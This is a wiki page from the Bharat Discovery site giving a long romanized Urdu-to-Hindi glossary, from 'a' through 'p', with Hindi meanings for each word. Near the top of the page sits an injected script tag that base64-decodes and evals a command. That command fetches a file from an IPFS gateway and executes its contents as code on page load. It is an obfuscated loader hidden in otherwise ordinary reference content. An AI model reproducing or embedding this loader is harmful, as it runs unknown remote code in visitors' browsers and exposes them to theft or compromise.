उर्दू शब्दावली

भारत डिस्कवरी प्रस्तुति
Revision as of 09:19, 12 April 2018 by व्यवस्थापन (talk | contribs) (Text replacement - " गरीब" to " ग़रीब")
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
urdoo hiandi shabdakosh[1]
a a i ee u oo e ai o au aan k kh g gh ch chh j jh t th d dh
t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri shr

a

  • aql= buddhi, tark, jnan
  • akabar= sabase mahan
  • akasar= adhikatar, amataur par, bahut, bar bar
  • akhz= pak danevala, lenevala, chhinane vala, lobhi
  • akhabar= samachar, samacharapatr
  • agar= yadi, tathapi
  • agyar= ajanabi, pratidvandi (gai़r ka bahuvachan)
  • agal़at= ashuddhiyaan (gal़t ka bahuvachan)
  • arjamand= mahan
  • ajanabi= aangatuk, videshi, paradesi
  • azal= anantakal, sanatanatv, nityata
  • ajab= kautuk, ashchary, asadharan
  • ajib= ashcharyajanak, adbhut, nirala
  • azab= pi da, santap, dand
  • aziz= priy, mananiy, adaraniy, gunavan
  • azim= mahan, vishal, uchch maryada vala
  • atak=vighn, badha
  • attfal= bachche, santati (tifl ka bahuvachan)
  • atf= daya, bheant, prem, kripa
  • ada= rrin chukana, nibatara
  • ada= manoharata, shrriangar, sundarata
  • adib= vidvan
  • adalat= nyayalay, nyay, qanoon
  • adam= shoony, astitvahin, abhav
  • anjam= ant, parinam, phal
  • anjuman= parishad, sabha, sammelan
  • andaza= anuman, aankana, map
  • andar= bhitar
  • afas़na= kahani, kalpit katha
  • afasurda= udas, vishad
  • afasos= shok, pachhatava, udasi
  • ab= abhi, vartaman
  • abtar= nasht,bikhara hua, moolyahin
  • abad=anantakal
  • abr= badal
  • abroo= bhauanh
  • absar= aankhean (basar ka bahuvachan)
  • abna= bete (ibn ka bahuvachan),sandhi,sahamati, ghatana, sanyog, avasar
  • abas= labhahin, bekar, vyarth, tuchchh
  • abd= das, pramatma ka das
  • amalan= yatharth mean, sach mean, satyata poorvak
  • amanat= dharohar
  • aऱhj= yachana, vinay, vinati, parakhana, pradarshan
  • arsh= chhat, chhatr, sarvochch svarg
  • araman= ichchha, lalasa, asha
  • alfaz= shabd (lfaz ka bahuvachan)
  • al= kala
  • alim= buddhiman, vidvan
  • avval= pratham, sarvashreshth, atiuttam
  • ashfak= sahara,anugrah, kripa (shafak ka bahuvachan)
  • ashqiya= kroor, kathorahriday
  • ashk= aansoo
  • asad= sianh, sher
  • asarar= bhed (bahuvachan)
  • asafar= yatrayean (safar ka bahuvachan)
  • asqam= buraiyaan, kamazoriyaan, kamiyaan
  • asir= kaidi, bandi
  • ashab= malik, svami (sahib ka bahuvachan)
  • asl= mool, nianv, moolatattv
  • asli= maulik, mool, vastavik, saty, khara
  • asar= chinh, nishan, lakshan, prabhav
  • asas= nianv
  • asbab= karan, vajah, sadhan
  • ahazan= du:kh (bahuvachan) (huzn ka bahuvachan)
  • atr= sugandhi

a

  • aeena= darpan
  • aqibat= ant, parinam, bhavishy
  • aqil= buddhiman
  • akhir= ant, antim
  • ag= agni, jvala (krodh, vasana, prem, aveg, josh)
  • aga़j= arambh,
  • ago़sh= aliangan, god, chhati
  • aanch= jvala, ushnata, utsah, hani, du:kh
  • aanchal= dopatte ka kona
  • az= prachand ichchha, lobh, lpsia
  • azardah= udas, du:khit, khija hua, vyakul,bechain
  • azamaeesh= prayatn, prayog, jaanch, siddh karana
  • azad= svatantr, badharahit
  • ajiz= shaktihin, udasin
  • azim= dridhata, sunishchit
  • atish= ag
  • adat= riti, acharan, prayog, pravriti
  • adami= vyakti
  • adamiyat= manushyattv, manushyata, shishtata
  • adab= acharan (adab ka bahuvachan)
  • adil= nyayapoorn, sachcha, nek, nishkapat
  • aandhi= dhool bhari tez hava, aandhad
  • ap= svayan, kisi ko samman se sambodhit karana
  • afatab= soory
  • afat=vipatti, sankat
  • afat= durbhagy, kathinaiyaan, buraiyaan (afat ka bahuvachan)
  • ab= pani, chamak, sundarata, talavar ki dhar
  • ab-e-aeena= darpan ki chamak
  • ab-e-chashm= aansoo
  • ab-e-talkh= k dava pani, aansoo, sharab
  • abaroo= an, prasiddhi, maryada
  • abad= basa hua, prasann, samriddh
  • am= sadharan, janata, samany, sarvatrik
  • ayanda= bhavishy mean, age, isake bad
  • arazoo= ichchha, lalasa, asha, abhilasha
  • ara= sajavat, shobhana
  • araeesh= sajavat, sundarata, sushobhit
  • aram= vishram, sukh, chain, sugamata
  • alam= sansar, srishti, prant, sundarata, samayakal
  • alap= bat-chit, svar milana
  • alim= vidvan, buddhiman, subodh
  • ali= uchch, mahan, bhavy, vishal, uttam
  • avaz= shor, dhvani, chikh, pukar
  • avazah= charcha, aphavah, prasiddhi, vivaran
  • avara= bina gharabar ke, ghumakk d, hin
  • ashna= parichit, mitr, premi
  • ashiq= premi, vivaharthi
  • ashiyana= ghoansala, ghar
  • ashufta= baukhalaya hua, ghabaraya hua, bhramit
  • as= ummid, asha, bharosa, sharan
  • asaman= akash, svarg
  • asamani= svairgik, khagoli, antiriksh sambandhi, nila
  • asara= suraksha, sharan, jine ka sadhan
  • asan= saral, sugam, sahaj
  • asim= papi, doshi
  • asoodah= samriddh, amir, santusht
  • aansoo= ashru
  • ah= nishvas, dirghashvas
  • ahista= dhime se, mridulata, aram se

i

  • iqabal= saubhagy, samriddhi, saphalata, svikriti
  • iqarar= shapath, saugandh, ghoshana, svikriti, pran
  • iqtiza= avashyakata, maang, chah
  • ikhlas= prem, sachchaee, shuddhata, nishthata,
  • ikht़iyar= shankti, adhikar, vikalp, marazi
  • izzat= man, maryada, prasiddhi, kirti, yash
  • izhar= batana, prakatikaran, varnan, ghoshana
  • ijaz(ejaz)= achambha, chamatkar, kautuk
  • ijazat= anumati, svikriti, ajna dena
  • iztirab= ashanti, chinta, ghabarahat, bechaini
  • iztirar= bandhan, vivishata, akulahat
  • itmam= sampoornata, siddhi, pravinata
  • itlaf= hani, uj dana, nash
  • itaraz(etaraz)= virodhata, alochana
  • itab= krodh, aprasannata, daant, dosh lagana
  • itibar(etabar)= vishvas, bharosa, asara
  • ittika= sahara, asara
  • ittifaq= sanyog
  • ittifaqan= saanyogik, akasmat se
  • ittiham= dosh, dosharopan
  • ittihad= sandhi, ekata, mitrata
  • idrak= samajh boojh, bodh
  • inkar= asvikar, virodh
  • inqilab= kranti
  • intazar= pratiksha
  • intiqam= badala, pratishodh
  • intikhab= chayan, chunav, pasand
  • intizam= vyavastha, prabandh, dhang, kram
  • insan= manav, manushy jati
  • insaniyat= manavata, shishtata, sushilata
  • inad= virodhata, dushmani, vair, lag
  • inam= puraskar, bheant, paritoshik
  • iftitakhar= man, kirti, vishishthata, khyati
  • ifrat= adhikata, bahuly, bahutayat
  • iffat= shuddhata, pavitrata, satitv
  • ibn= putr
  • ibrat= chetavani, daant
  • ibtida= anushthan, arambh
  • ibtisam= muskurahat, ullas
  • ibtila= durbhagy, kasht, pi da
  • ibadat= prarthana, upasana
  • ibarat= boli bhasha, shaili, rachana
  • iman= vishvas, dharm mat, aant:karan
  • imtihan= pariksha, prayog, jaanch, praman
  • imtiyaz= antar, antar karane vala, vishishthata
  • imarat= bhavan
  • ilm= jnan, vijnan, mat, siddhant
  • illat= dosh, buri adat, bimari, bahana, adhar
  • iltifat= mitrata, adar, daya, kripa, anugrah
  • ilaqa= kshetr, adhikaraskshetr, bhoomi, bhoosanpatti
  • ilaj= upachar, chikitsa, prativish
  • ilan(elan)= batana, munadi, ghoshana
  • ishq= prem
  • ishtiyaq= chah, ichchha, lalasa
  • ishtihar= vijnapan, prasiddhi, khyati
  • ishfaq= daya, anukampa, dayaluta
  • ishara= iangit, chinh, sanket
  • eeshad= ajna, adesh, pathapardashan
  • israf= ativyay, u dana, uja dana
  • israr= hathata, zi , avinay, dridhagrah
  • istifa= padatyag
  • isbat= praman, sakshy, saboot
  • istimal= baratana, bartav, prayog mean lana
  • irada= lakshy, uddeshy, kamana, lalasa, ichchha
  • ishrat= anand, manoranjan, hulas, chuhal, samaj
  • ishraq= usha, prabhat, chamak

ee

u

  • uqoobat= dand, saja, utpi dan, yatana
  • uja d= banjar, viran, nirj
  • urdoo= sena, shivar
  • ufk= kshitij
  • uftad= durbhagy, durghatana, nianv
  • ummid= asha, pratiksha, vishvas
  • umr= ayu
  • ubal= krodh, rosh, khaul
  • uriyaan= nagnata, khali, shoony, vihin
  • urooj= uday, mahanata, gauravanvit
  • ustad= adhyapak, guru

e

  • ehatiyaj= avashyakata
  • ehatiyat= savadhani, dhyan rakhana
  • ehasas= bhavana, manobhav
  • ehasan= upakar, kripa, anugrah

ai

  • aiyash= vilasi, luchcha, lanpat, vishayasakt
  • aish= anand, vilas, sukh, bhog
  • aihatamam= vyavastha

o

au

  • auqat= samay (bahuvachan) (vaqt ka bahuvachan)
  • auqat= sthiti
  • aurat= stri, patni, nagnata
  • aulad= santan (valad ka bahuvachan)

k

  • kagaz= panna, patr, lekhy patr
  • katib= lekhak, lipik
  • kitab= pustak, lekh, sandesh
  • kada= sthan (adhikatar shabdant mean ata hai)
  • kanda= gadha hua, naqqashidar
  • kinara= samudr tat, nadi ka tat, hashiya, sima
  • kina= dvesh, vair, lag
  • kail (qayal)= svikarana, manana, parajit
  • qaeeda (qayada)= riti, niyam, adat, anushasan, acharan
  • qaza= bhagy, adhikaraskshetr, eeshvariyadand
  • qazi= nyayak
  • qatl= hatya, vadh
  • qatil= hatyara, vadhik, guptaghatak
  • qad= akar, ooanchaee, lambaee
  • qadr= man, mooly, pratishtha, adar
  • qadam= chal, gati, padachap
  • qudarat= shakti, srishti, prakriti, jagat
  • qaid=bandi hona, srkavat, niyantran
  • qanoon= niyam, vidhan, siddhant, vyavastha
  • qafas= pianjara, sharir,jali
  • qafiya= tuk, tukabandi, chhand, tal
  • qabza= pak d, shakti, adhikar, talavar ka muththa
  • qabr= samadhi
  • qabil= samarth, chatur, yogy, gunavan
  • qaboo= shakti, adhikar, vash, pak d
  • qubool= svikar karana, svikriti
  • qamar=chandrama
  • qimat= mooly, upayogita, dam, lagat
  • qaum= rashtr, janata
  • qayamat=vinash, mritotthan, uthal-puthal
  • qayada (qaeeda)= riti, niyam, adat, anushasan, acharan
  • qayam= sthapit, thahara hua, dridh, tikaoo
  • qayal (kail)= svikarana, manana, parajit
  • qarj= rrin
  • qarar= nivas, sthirata, vishram, dhiraj, santushti
  • qarib= pas, nikat, samip, saman, pas ana
  • qurban= bali, bheant, balidan dena
  • qalb= dil, man, atma, buddhi
  • qalam= lekhani, likhavat
  • qaul= vada, shapath, hami, shabd, kahavat, bat
  • qasam= shapath
  • qism= jati, varg, bhag, prakriti
  • qismat= bhagy, bhag, sar, shreni
  • qissa= kahani, katha, premakatha, jhag da, vivad
  • qusoor= dosh, avagun, khot, bhool, pap, asaphalata

kh

  • khak= dhooli, bhoomi, rakh
  • khanjar= chhuri
  • khazaan (khizaan)= patajh d, vriddhavastha, kshay
  • khajalat= lajja, lajjashalinata
  • khajalat= prasann, shubh, bhagyavan
  • khizana (khazana)= dhan sangrah, kosh, rajakosh
  • khat= patr, chinh, likhit
  • khatara= dar, bhay, vipitti, jokhim
  • khatm= ant, poora hona, ant karana, samapti
  • khata= galati, bhool, laparavahi
  • khatir= hriday, man, ke liye, ki taraph se, chayan, hit
  • khutba= bhashan, dharmopadesh, praveshan, parichay
  • khidamat= seva, avabhagat, kartavy, naukari
  • khud(khood)= svayan, vaktigat, apana, ekaant
  • khuda= bhagavanh
  • khudi(khoodi)= ghamand, ahankar, man ki chaukasi
  • khanadan= kul, parivar, vansh
  • khana= ghar, kamara, vibhag, hissa
  • khanum (khanam)=shrimati, rajakumari, patni
  • khoon= rakt, hatya
  • khafa= chhipav, guptata, krodhit, aprasann
  • khabar= samachar, jnan, soochana, varnan, lokavad, charcha
  • khoob= badhiya, achchha, uttam, sundar, manabhavan
  • kham= kachcha, hara, nausikhiya, adaksh, ghamandi
  • khamosh= chupp
  • khumar= nasha
  • khayal= vichar, kalpana, mat, dekhabhal, man
  • khiyabaan= pushpavatika, phooloan ki kyari
  • kharid= kharidana, mol lena, mol li huee vastu
  • kharab= bura, dusht, barabad hua, big da hua, ashisht, ashlil
  • khurram= prasann
  • khair= achchha, atiuttam
  • khair=kushal kshem, kalyan, hit, anand
  • khalas= uddhar, savatantrata, mukti
  • khalis= shuddh, asal, khara, nishkapat (mitr)
  • khalish= chubhan, pi da, chinta, shanka
  • khilaf= virodh, vipakshata, asatyata
  • khilaf= visrddh
  • khv़ab= niand, svapn
  • khv़ar= dusht, uja d, mitrahin, nirdhan
  • khv़ahish= lalasa, ichchha, anunay, vinay, maang
  • khush= prasann, manabhavan
  • khushk= sookha, nirjal, murjhaya hua, chi dachi da adami
  • khoorshid (khurshid)=soory
  • khasta= ghayal, toota hua, jarajar, udasin
  • khas= vishesh, vyaktigat, vishisht, amishrit, shreshthajan

g

  • gaz= napane vala gaj
  • gazida= dank lag hua, kat khaya hua
  • guzar= jana, ek rasta, ek jivan
  • guzara= jivika, jivan nirvah, rasta, ghar
  • guzarish= anunay, vinay, prarthana, varnan
  • guzida= chuna hua, nirvachit
  • gunah= dosh, pap, aparadh
  • guftagoo= batachit, upadesh
  • gum= khoya hua, besudh, anupasthit, lapata
  • gumagashta= bhatakata hua, khoya hua
  • gumanam= namahin, ajnat, avidit, pratishthahin
  • gumarah= bhataka hua, khoya hua, dusht, nich
  • gumasum= maun, shant
  • guman= sandeh, shanka, kalpana, garv, vichar, avishvas
  • goya= vagmi, suvakta, bolate hue
  • gard= dhool, tuchchh
  • gardan= griva
  • gardish= chakkar, ghumav, durbhagy, avarapan
  • garm= ushn, jalana, prachand, tivr, utsahapoorn, sajiv
  • gird= paridhi, gol, paripradesh, nagaropant
  • girdab= bhanvar, atal samudr, bavandar
  • girah= gaanth, jo d, aanguli ka jo d
  • giraya= rona, vilap karana, srdan, phariyad
  • giraan= amooly, mahanga, bahumooly, bhari, mahattvapoorn
  • giriyaan= rote hue, chikhate hue
  • girau= vachan, giravi
  • giriftar= bandi banana, pak dana, vash hona, sammohit, bandi
  • gir= vijayi, lene vala, adhikari, chhinane vala
  • gul= gulab, phool, gahana, chhap
  • gulazar= upavan, phooloan ki kyari
  • guladasta= phooloan ka guchchha
  • gulabadan= komal, sudaul, sundar
  • gila= rosh, shikayat, abhiyag, dosh
  • gulashan= phooloan ya gulaboan ka upavan
  • gulab= gulab
  • gulistaan= gulaboan ka upavan
  • gavara= manabhavan, sammat, suhavana, komalata
  • gavah= sakshi
  • gavahi= praman, sakshy
  • gosh= kan
  • gosha= kona, kon, kothari, ekantata
  • gustakhi= abhadrata, ghamand, dhrishtata
  • gusar= chhinata hua, chhitarata hua, door hota hua
  • gesoo= lataean, keshoan ke chhalle
  • gaihan= sansar, srishti
  • g़jal= kavita
  • gar= rajadrohi, vishvasaghati, avishvasaniy
  • g़phalat= asavadhani, ooangh, achetanata
  • gam़= shok, du:kh, chinta
  • gam़khv़ar= dilasa dete hue
  • gam़gussar= dilasa dene vala
  • gam़dida= du:khit, vyathit
  • gam़hmaz= bhediya, chugalibaj
  • ga़yab= gupt, chhipa hua, anupasthit
  • gu़bar= vashp, dhuandh, phuhar, dhool, du:kh
  • gऱz= ueshy, arth, roop rekha, lalasa, sammati
  • gऱib= nirdhan, din, ajanabi, bhola, nirala
  • gऱoor= garv, ghamand
  • gai़r= ajanabi, paradesi
  • gai़r= aur bhi, sivay isake, isake uparant, doosara,
  • alag, videshi, bura, parantu, bachana
  • gai़rat= man, namrata, shalinata, dvesh, ghrina
  • gau़r= dhyan, gahari soch, dhyan dena
  • gal़t= galat, trutipoorn, asaty
  • gal़iz= ganda, ashuddh, bha, asabhy, ashlil
  • ga़lib= vijayi, pradhan
  • ga़lib= sadharanatay, adhikatar, sambhavath
  • gu़lam= das, chhokara, kishor
  • gash़= behoshi, moorchha, nashe mean unmatt
  • gu़ssa= krodh, bhavukata, rosh, chinta, shok

ch

  • chakaan= tapakata hua, stravan
  • chaq= chaukanna, chust, udyami, svasth, mota, chust-dusrst
  • chaqoo= chhoti chhuri
  • chiz= vastu, padarth, samagri
  • chitavan= akar, drishti, dikhavat
  • chand= kitana, kitane, kuchh, kitani bar, kitani der
  • chaand= chandrama
  • chaandani= chandrama ka prakash
  • chadar= bichhauna, ghooanghat, jalaprapat
  • chaandi= chaandi (dhatu), dhan
  • chain= asani, sukh, shaanti, aram
  • chamak= jhalak, dipti, jagamagahat, chauandh
  • chaman= pushp vatika
  • charag=dipak
  • chara= aushadhi, chikitsa, sahayata, upay
  • charagah= gauchar bhoomi
  • chal= chalane ka dhang, riti, dhokha
  • chalak= chatur, pravin, rdhoot, kapati
  • chilaman= chik
  • chashm= aankh, asha
  • chashm-e-baddoor= nazar n lage
  • chashm-o-chirag= aankh ka prakash, priy
  • chasmak= aankh marana, jhapak, asammati, mithyabodh
  • chust= savadhan, chalak, udyami, vegashil, tang, tana hua
  • chah= laghusanjna banane ke prayog mean ata hai
  • chah= ichchha, lalasa, pyar, avashyakta, chunav
  • chehara= mukh, chhavi, mukhauta

chh

j

  • jang= yuddh, l daee
  • jagir= sampatti (bhoomi ki)
  • jigar= yakrit, hriday, atma, man
  • jazb= akarshan, lobh, moh
  • jazba= lalasa, bhavana, avesh, aveg, chav
  • jazib= manamohak, akarshak
  • jadoo= jadoo, tilism, tona, mohana, pretatma ka prabhav
  • juda= vibhajit, bikhara hua, alag, prithik, anootha
  • judaee= anupasthiti, alag hona, virah
  • jannat= svarg, upavan
  • janaza= arthi, shavayatra
  • janab= shrimanh, mananiy
  • jan= atma, jivan, man, shakti, premi, premika, priya, priy
  • jani= jivan sambandhi
  • jani= ek premi ya premika
  • junoon= unmad, pagalapan
  • jafa= anyay, atyachar, ghav
  • jabian= matha
  • jamal= sundarata, sudaulapan
  • jam= pyala
  • jumbish= harakat, gati
  • jayaz (jaeez)= niyamanukool, anumati anusar
  • jayadad= sampantti, bhoo sampatti, vaiyanktik sampatti
  • jari= vartaman, prachalit, adhunik, nity, lagatar
  • jurm= aparadh, dosh
  • jurmana= arth dand, harajana
  • jalal= pratap, tej, vishalata
  • jalva= chamak, pradarshan, pratap, dikhav
  • ja’l= nakali
  • javan= yuva, kishor
  • javab= uttar, samata, barabar, samanaantar
  • javahar (javahir)= ratn, mani (jauhar ka bahuvachan)
  • jashn= utsav, bhoj
  • josh= garmi, tatparata, utsah, aveg, lalasa
  • jism= sharir
  • justajoo= khoj, poochh tachh, talash
  • jahannum= narak
  • jahaz= pot, nav
  • jahan= sansar
  • jahil= moorkh, anapadh, jangali ashisht
  • zau= prakash, soory ka prakash
  • z’if= nirbal, apang, asahay, kshinashakti, vriddh, durbal
  • za’i= parajay, vinasht, phalahin, vyarth
  • zakir= kritajn, yad karate hue
  • zakir= kritajnajan, bhagavanh ki prashansa ki kavita
  • ziq= shok, santap, vishad, udasi
  • zikr= smaran, sudh, yad, quran ka path
  • zukam= thand lagana (bimari)
  • zauq= svad, srchi
  • zakhm़= ghav, hani, kshati
  • zat= atma, svayan, jati, varg
  • zati= aantarjat, paidayashi, svabhavik, prakritik
  • zada= chot khaya hua, dalit
  • zi = viparit, visrddh, pratikool, asangat, hath
  • zood= shighr, achanak, turant
  • zanjir= k di
  • zann= sandeh
  • zindaan= karagar, bandigrih
  • zinda= sajiv, prani
  • zindagi= jivan, jivika, astitv
  • zinhar= kabhi nahian, kisi tarah bhi nahian
  • zinhar= savadhan!
  • zinat= sajavat, sundarata
  • zafar= vijay, jit, labh
  • zu’f= nirbalata
  • zaban= jibh, bhasha, momabatti ki jvala
  • zabar= shreshth, mahan, choti, oopar, uttam
  • zabardast= shaktipoorn, prabal, kroor, uttam
  • zabit= sanchalak, svami, adhikari
  • zabit= kathor, dhairyavan, niyam ka palan karane vala, anushasak
  • zabita= niyam, riti, anushasan, dharmasanhita
  • zeba= alankrit, sundar, uchit, sushobhit
  • zamana= samay, kal, kal chakr
  • zamanat= pratijnapatr, vishvas
  • zamin= bhoomi, dharati, prithvi
  • zamir= man, hriday, vichar, manan, bodh
  • zamin= dharmapita, pratibhoo, jamanatadar, vishvas dilane vala
  • zyada (ziyada)= adhikata, atyadhikata, atishay
  • ziya= prakash, chamak, dhoomadham
  • ziyarat= tirthayatra, dharmasthal par jana
  • zar= svarn, sona
  • zarb= ghav, chot, pitaee, prabhav, chinh (zarbat ka bahuvachan)
  • zarar= ghav, hani, vipada, kshati, shok, vyatha, parajay, vinash, barabadi
  • zarif= tikshn, sookshm, komal
  • zaroor= avashyak, uchit, yogy, nissandeh roop se, poorn roop se
  • zaroorat= avashyakata, vivashata, chahat
  • zar= rona, vilap, upavan, lalasa, ichchha
  • zer= hara hua, daba hua, kamazor
  • zor= shakti, bal, prabhav, dabav
  • zalal= galati, bhool, avagun, khot
  • zalil= nich, ghrinit, dusht, adham, tuchchh
  • zalim= kroor, atyachari
  • zillat= manahani, apaman, anadar, nichata
  • zulf= ghuangharale bal, lataean, kesh, chhalla
  • zulm= atyachar, kroorata
  • zahmat= man ki pareshani, vipada, dard
  • zahar= vish
  • zahir= sathi, mitr, sahayogi
  • zahir= spasht, samaksh, pratyaksh
  • zahira= spasht roop se, pratyaksh roop se
  • jeh़n= buddhi, tark, samajh, vivek

jh

  • jhऱhph= gahara, bhedata hua, tivrabuddhi
  • jhiyaan= krodhi, bhishan, lutera, dasrn
  • jhala=ole, os, kohara
  • jholida= bikhara hua, goodh, ulajha hua, pechida

t

  • takkar= muthabhe d, shatruta, spardha, pratidvandata, bhi dana
  • tuk da= ek bhag, ek kaur, ek aansh, khand
  • taang= lat, ek bhag
  • toot= tootana, darar, hani
  • tedh= chalaki, thagi
  • tapakana= risana, booand booand kar girana, phal ka jharana

th

  • thikana= ghar, sthan, lakshy, sima
  • thokar= srkavat, khuraghat, atak ke ludhakana
  • thand= shit, shital

d

  • daka= dakaiti, loot
  • dagar= rasta, path, s dak
  • dabar= jhil, talab, pani ke liye bartan
  • dar= bhay

t

  • tab= tap, shakti, dhiraj, krodh
  • tabish= tap, vaibhav, shok, du:kh
  • tasir= prabhav, chhap
  • taj= mukut
  • tarikh= tithi, itihas varnakram se likha hua
  • tarik= andhera, dhuandhala
  • taza= naya, naram, prasann, taja
  • tak= drishti, man, lakshy, drishy
  • tabah= vinasht, big da hua, bura, dusht
  • tabdil= badalana
  • tabassum= muskurana, prasannachitt bhav
  • tazurba= prayog, praman, anubhav, jaanch
  • tohafa= upahar
  • takht़= sianhasan, asan
  • tadbir= vimarsh, vichar, shiksha, upay, ajna, prabandh
  • tarana= dhun, svar samata, ek prakar ka gana
  • tarjuman= anuvadak
  • tars= bhay, aantak
  • tars= daya, kripa, kshama
  • taraqqi= ooanchaee, unnati, vriddhi, sudhar
  • tarakib= sanyojan, mishran, vyavastha, yojana, vidhi
  • tasalli= dhadhas, santosh, ashvasan
  • taslim= namskar, abhinandan, smarpan, adhinata
  • tashrif= samman karate hue
  • tishnagi= trishna, pyas, lalasa, abhilasha
  • tasavvur= kalpana, divasvapn, vichar
  • tasavvuf= soofipan, rahasyavad, goodh jnan
  • tasvir= chitr, rekhachitr, chhavi
  • t’ajjub= achambha, vismay, ashchay

d

  • dakhil= prevash karana
  • dad= nyay, badala, duhaee, prashansa
  • dar= phaansi ka takhta, lak di
  • dar (upasarg)= ke sath, ju da hua
  • dar= ghar, desh
  • dara= adhikari, raja, adhipati
  • daroo= sharab, davaee, upachar
  • dastaan= kahani, katha, kissa
  • dag= nishan, ghav ka chinh, kalank, dosh, vipada, hani, shok
  • dam= jal, phanda
  • dam= kimat, mooly
  • daman= aanchal, kinara, god, aank, talahati
  • dana= buddhiman, jnani
  • danista= janate hue
  • danish= jnan, vijnan, shiksha
  • da’im= anant, sthayi
  • dakhal= pravesh karana, pahuanch, kala
  • dar= dvar, daravaza

n

  • n’ash= taboot, shav, arthi
  • n’eem= anand, sulabhata, shanti
  • na= (nakaratmak) nahian, n
  • naashna= ajanabi, aparichit
  • naittifaqi= asahamati, matabhed
  • nainsafi= anyay
  • naib= sahayak, pratinidhi, upadhikari
  • nao= nav, pot, jahaj
  • naonosh= bahut sharab pina, davat u date hue
  • naummid= nirasha, ashahin
  • ni’am= labh, hit
  • nau= naya, taja, kachcha
  • nakbat= durbhagy, vipada
  • naql= varnan, katha, anukaran, pratiroop
  • naqli= banavati, kritrim, jali, jhootha
  • naqsh= chitr, chinh, naksha
  • naqsha= chitr, chhavi, namoona, roop udaharan
  • nak (shabd ke ant mean)= dvara prabhavit, se bhara hua
  • naqadr= adhanyavadi
  • naqabil= ayogy, anupayukt, aksham
  • nakam= asaphal
  • nakas= moolyahin, ghatiya
  • nikah= vivah
  • nukta= sookshmata, goodhata, tippani
  • nuktachian= dosh lagane vala, samiksha karane ka ichchhuk
  • nuktadaan= buddhiman
  • nuktabian= atialochanatmak
  • nuqsan= hani
  • nek= achchha, bhagyavan, punyatma, sachchiritr
  • nakhara= ak dapan, chalaki, bahana, diang haankana
  • nakhushi= aprasannata, apriyata
  • nakhoon= nakh, panja
  • nagm= dhun, gana, sangit ka sur
  • nagavar= aruchikar, besvad
  • nigar= chitr, chhavi, premika, priy
  • nigah= drishti, drishy, rakshan, dekh bhal
  • nigahabaan= rakshak, dekh bhal karane vala
  • nach= nrity
  • nachar= aksham, nirbal, lachar, asahay
  • nachiz= tuchchh, moolyahin
  • nazadik= samip
  • najm= tara, grah, bhavishy, kuandali
  • nazm= kavita, chhand, kram, prabandh
  • nazar= drishti, dikhana, kripa, drishy, anugrah
  • nazakat=svachchhata, namrata, komalata
  • nazafat= shuddhata, svachchhata
  • nazara= drishy
  • najib= shlaghapatr, uttam, kripalu
  • naz= garv, ghamand, komalata, sundarata, shekhi, ak d
  • najaiz (najayaz)= anuchit
  • nazish= ghamand, garv
  • nazuk= patala, dubala, komal, sahaj mean tootane vala
  • nizam= pranali, kram, riti, prabandh
  • naujavani= yauvan, tasrnaee
  • nataeej= parinam, phal (natija ka bahuvachan)
  • natija= parinam
  • natamam= apoorn
  • natars= kathor hriday, dayahin, kathor
  • natavani= akshamata, nirbalata, asamarthy
  • nata= sambandh, mitrata, sambandhi, moh
  • nataqat= ashakt, kshin
  • nadim= ghanishth mitr
  • nadanstia= ajnanatavash, anajane mean
  • nadani= ajnanata, ana dipan
  • nadari= garibi, nirdhanata, dinata
  • nadim= lajjashil, namr, lajjit
  • nadir=durlabh, amooly, anootha
  • nadida= lalachi
  • naunihal= paudha, paniri, kishor
  • napasand= asvikrit, bhadda, ghrinit
  • napaidari= nirbalata, ayogyata
  • nafarat= ghrina, asrchi, bhay, tras
  • nafs= atma, sar, pran
  • nafarman= ajna n manane vala
  • nafaham= moorkh
  • nafiz= prabhav hona, bhedata hua
  • nabz= na di ki gati, na di ki dh dakan
  • nabi= eeshvaradoot, bhavishyadvakta
  • nabood= astitvahin, lupt, nasht
  • naubahar= vasant ka arambh
  • naubat= bari, pari, samay
  • nam= gilapan, bhiga hua, silan
  • nam= gila, tar, sila
  • namaz= prarthana
  • numa’ish= dikhana, tamasha, drishy
  • namoona= udaharan, pratiroop, misal
  • nam= nam, upadhi, pratishtha, prasiddhi
  • namanzoor= nishedhit, varjit
  • namard= napuansak
  • nama= pustak, itihas, lekh, nibandh
  • namaloom= anajana
  • namumakin= asambhav
  • namurad= asantusht
  • nim= madhy, adha
  • nayab= durlabh, asadharan, dushprapy
  • niyaz= ichchha, anurodh, nirdhanata, avashyakata
  • niyoosh= shrota, sunate hue
  • niyyat= uddeshy, lakshy, ashay, irada
  • nar= nar, pusrsh
  • narm= mulayam, komal, dhima
  • nargis= ek kism ka phool, preyasi ki aankh
  • nar= agni, narak
  • narazi= asantushtata
  • narasti= kapatata, beeemani
  • nirali= anoothi, durlabh, asadharan
  • noor= prakash
  • nalaan= vilap karate hue, subakate hue
  • nalayaq= ayogy, anupayukt
  • nalish= arop, shikayat karana
  • nilam= boli laga kar bechana
  • navazish= kripa, dayaluta, sanrakshata
  • nasha= unmattata, garv, ghamand
  • nashin= baitha hua
  • nashad= aprasann, ullasahin, nisrtsah
  • nashinas= ajnani
  • nashukr= kritaghn, adhanyavadi
  • nishan= chinh, sanket, lakshy, ghav ka chinh, dag, lakshan
  • nishani= chinh, yadagar
  • nasib= bhagy, bhavishy, honi
  • nasim= mand samir, pachhuva hava, pashchimi vayu
  • nasihat= mantrana, paramarsh, upadesh
  • nasaboor= adhir, vyakul
  • nasamajh= ajnani, buddhihin, moorkh
  • nasaz= asantusht, asvasth, asabhy
  • nasaf= ganda, ashuddh, apavitr
  • nasoot= manavata, manav prakriti
  • nisbat= sambandh, smoh, sambandh lagana, tulana
  • nisar= pheankana, bikherana, nyauchhavar karana, chhitakana
  • nusart= vijay
  • nihaan= gupt, paroksh, aprakat

p

  • pa= taang, paanv, pe d ki jad
  • pak= dharmik, pavitr, shuddh, nirmal
  • pakiza= shuddh, svachchh, nirmal
  • pagal= unmadi, moorkh
  • paiga़m= sandesh, samachar, vimash
  • pani= jal, varsha, chamak, charitr, maryada
  • panah= sharan, suraksha, ashram
  • paband= bandhit, janjir mean jak da hua, adhin
  • pamal= pairoan ke niche kuchala hua, nasht hua
  • paiman= vachan, pratijna, sandhi, svikriti, pushtikaran
  • payam= sandesh
  • payab=kam gahara, manav ki gaharaee
  • parakhana= pariksha lena
  • parda= chik, ghooghant, guptata, ekantata, ot
  • paravarish= palana, poshan karana, poshan, raksha karana
